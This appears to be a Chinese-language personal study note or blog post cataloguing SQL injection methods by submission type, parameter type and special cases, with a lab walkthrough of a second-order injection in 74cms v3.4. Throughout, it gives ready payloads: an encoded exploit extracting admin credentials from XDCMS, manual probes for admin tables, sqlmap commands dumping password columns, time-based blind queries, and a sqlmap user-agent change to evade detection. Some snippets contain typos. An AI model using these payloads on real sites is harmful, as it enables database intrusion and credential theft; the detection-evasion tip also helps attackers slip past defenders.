大纲:提交方式注入 参数型注入 其他注入
提交方式注入
常见的提交方式:
GET:大多数,正常的浏览,以URL的方式进行传参,不安全,明文传输,存在长度限制。xx.com/x.php?id=1
POST:一般在登录页面,参数在数据包中,不在URL中传输,相对比较安全
COOKIE:本地登录凭证
HEAD:头部信息
PUT OPTION
服务器端接收数据的方式:
GET 只接受get型的传参
POST 只接受post型的传参
REQUEST get,post,cookie方式都接受
GET注入
get注入比较常见
e.g www.xx.com/news.php?id=11
检测:加个 / 报错 -0 正常 --->存在注入
加 ' SQL语句显错注入 或 %bf' 宽字节绕过
POST注入
post提交方式主要适用于表单的提交,注册用户,登录账号,留言,修改账号,修改个人资料,上传文件,搜索框
用于登录框的注入
e.g www.xxx.com/admin.php
可以在用户注册的时候,在用户名后面加上 ' 会报错,存在注入,将bp抓的包存储成txt文件,用sqlmap跑包,如果在注册的时候,网页对 ' 过滤,可以在bp抓包,将username的后面加上5bf,绕过过滤
工具:穿山甲、sqlmap
XDCMS全版本存在SQL注入漏洞
需要使用代理抓包改包完成
sql exp
%60%3D%28select%20group_concat%28username%2C0x3a%2cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
将这段exp放在5D%的前面(测表单的名称)
COOKIE注入
cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统
sqlmap.py -u "" --cookie "id=30" --level 2
前提:服务器接收cookie型的传参
如果是get型的传参方式,再试试post型的传参,如果能传递成功,说明cookie也是可以的。
也可以bp抓包,修改cookie.......;id=30
再用sqlmap跑包
参数型注入
数字类型注入 字符类型注入 搜索类型注入
数字型注入
www.xxx.com/news.asp?id=1
select *from news where id=11
www.xxx.com/news.asp?id=11 and 1=1
select * from news where id=11 and 1=1
字符型注入
www.xx.com/news.asp?id=你好' and 1=1 #
select * from news where id="你好' and 1=1 #'
www.xx.com/news.asp?id=你好' and 1=1'
select * from news where id='你好' and 1=1'
搜索型修注入
like 像
通配符 *
SQL通配符%%
select * from news where id="'%like $id%"
http://www.xx.com/search.asp?Field=Title&BigClassName=&SmallClassName=&Keyworld=123&Submit=%CB%D1%CB%F7
参数:keyword=123
'%%' and 1=2 and '%'='%'
可以直接bp抓包,存为txt,用sqlmap跑包
网站是通过useragent:sql.org检测sqlmap攻击的
绕过方法,在安装路径下,lib文件夹中,core文件中的option.py文件的地1425行左右,改为百度的爬行蜘蛛
return "User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/apilder.html)"
手工注入:
2%'and(select count(*)from mssysaccessobjects)>0 and '%'=' //返回正常,access数据库
2%'and(select count(*)from admin_user)>0 and '%'=' //返回正常,存在admin_user表
2%'and(select count(username)from admin_user)>0 and '%'=' //返回正常,存在username字段
2%'and(select count(password)from admin_user)>0 and '%'=' //返回正常,存在password字段
2%'and(select top 1 len(admin)from admin_user)>4 and '%'=' //返回正常,username长度大于4
用sqlmap
先抓包,保存为txt
sqlmap.py -r 1.txt --tables 表名
sqlmap.py -r 1.txt --columns -T "admin" 列名
sqlmap.py -r 1.txt -C "admin,password" -T "manager" --dump -v 2 内容
其他注入
伪静态注入 延迟注入 base64注入 二阶注入
phpv9 authkey注入 http头注入 XML实体注入 APP注入挖掘
伪静态注入
例如:
http://xx.com.cn/
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131.html
检测方法:
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131 返回正常
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131'.html 报错
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131/.html 报错
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131-0.html 报错
在用sqlmap跑的时候sqlmap检测不不到注入点时,如下
http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131*.html
通常存在于aspcms、phpweb、thinkphp等框架网站
自己伪造伪静态
例如:
xx.com/x_deitl_id_123.html
对比如下:
xx.com/x/deitl.php?id=123
延迟注入
是一种条件判断,通过时间判断,仅仅是判断,无法上传shell
延迟注入是通过也免得返回时间长度来判断的,不同的MySQL数据库版本,延迟注入的语句不一样
MySQL>=5.0的可以用sleep()进行查询
MySQL<5.0的可以用benchmark()进行查询
benchmark用法:
benchmark(n,sql语句) n为查询次数
通过查询洗漱的增多,时间变得缓慢来判断是否存在注入
select benchmark(1000.select * from admin);
sleep()延迟注入用法
sleep可以强制产生一个固定的延迟
sleep()延迟注入的核心原理
and if(true,sleep(5),0)==IF(1=1,true,false);
?id=1 and sleep(5) 判断是否存在延迟注入
and if(substring(user(),1,4)='root',sleep(5),1) 判断当前用户
and if(MID(version(),1,1) LIKE 5, sleep(5),1) 判断数据库版本信息是否为5,可以猜解他的数据库名称
and if(ascii(substring(database(),1,4))>100,sleep(4),1)
sqlmap.py --time-sec=2 延迟注入
base64编码注入
解码
构造语句
编码
$id=base64_decode($id);
用插件 --tamper=base64encode.py
二阶注入
(一般是在白盒测试中进行,需要代码审计)
sql注入一般分为两种,一阶注入(普通的sql注入)和二阶注入
一阶注入是发生在一个HTTP请求和响应中,系统堆攻击数据立即反应执行
一阶注入的攻击过程归纳如下:
1、攻击者在http请求中提交恶意的sql语句
2、应用处理恶意的输入,使用恶意的输入动态构建SQL语句
3、如果攻击实现,在响应中向攻击者返回结果
二阶注入,作为SQL注入的一种,不同于普通的SQL注入,恶意代码被注入到web应用中不会立即执行,而是存储在后端数据库中,在处理另一个不同的请求时,应用检索到数据库中的恶意输入并利用他动态构建SQL语句,实现攻击。
二阶注入攻击过程归纳如下:
1、攻击者在一个HTTP请求中提交恶意输入
2、用于将恶意输入保存在数据库中
3、攻击者提交第二个HTTP请求
4、为处理第二个HTTP请求,应用检索存储在数据库中的恶意输入,动态构建SQL语句
5、如果攻击实现,在第二个请求的响应中就会返回结果
一般攻击利用是两种方式
攻击存储 注入攻击
74cms人才系统v3.4简历填写中存在注入 aa','fullname'=user()#
实现过程如下:
在网站上搜74cms v3.4的源码,直接放在PHPstudy的www路径下,地址栏中输入127.0.0.1回车,做一番数据库配置就好了
点击填写简历
先注册一个账户
然后创建简历,前面的信息都可以随便填,只要符合格式就好
需要注意的下面一步,这一步中学校名称里面存在二阶注入漏洞,输入我们的测试语句 aa',`fullname`=user()# ,保存提交
此时信息录制成功
此时我们点击预览简历,就可以发现已经将查询结果返回了
2019-05-05 20:17:46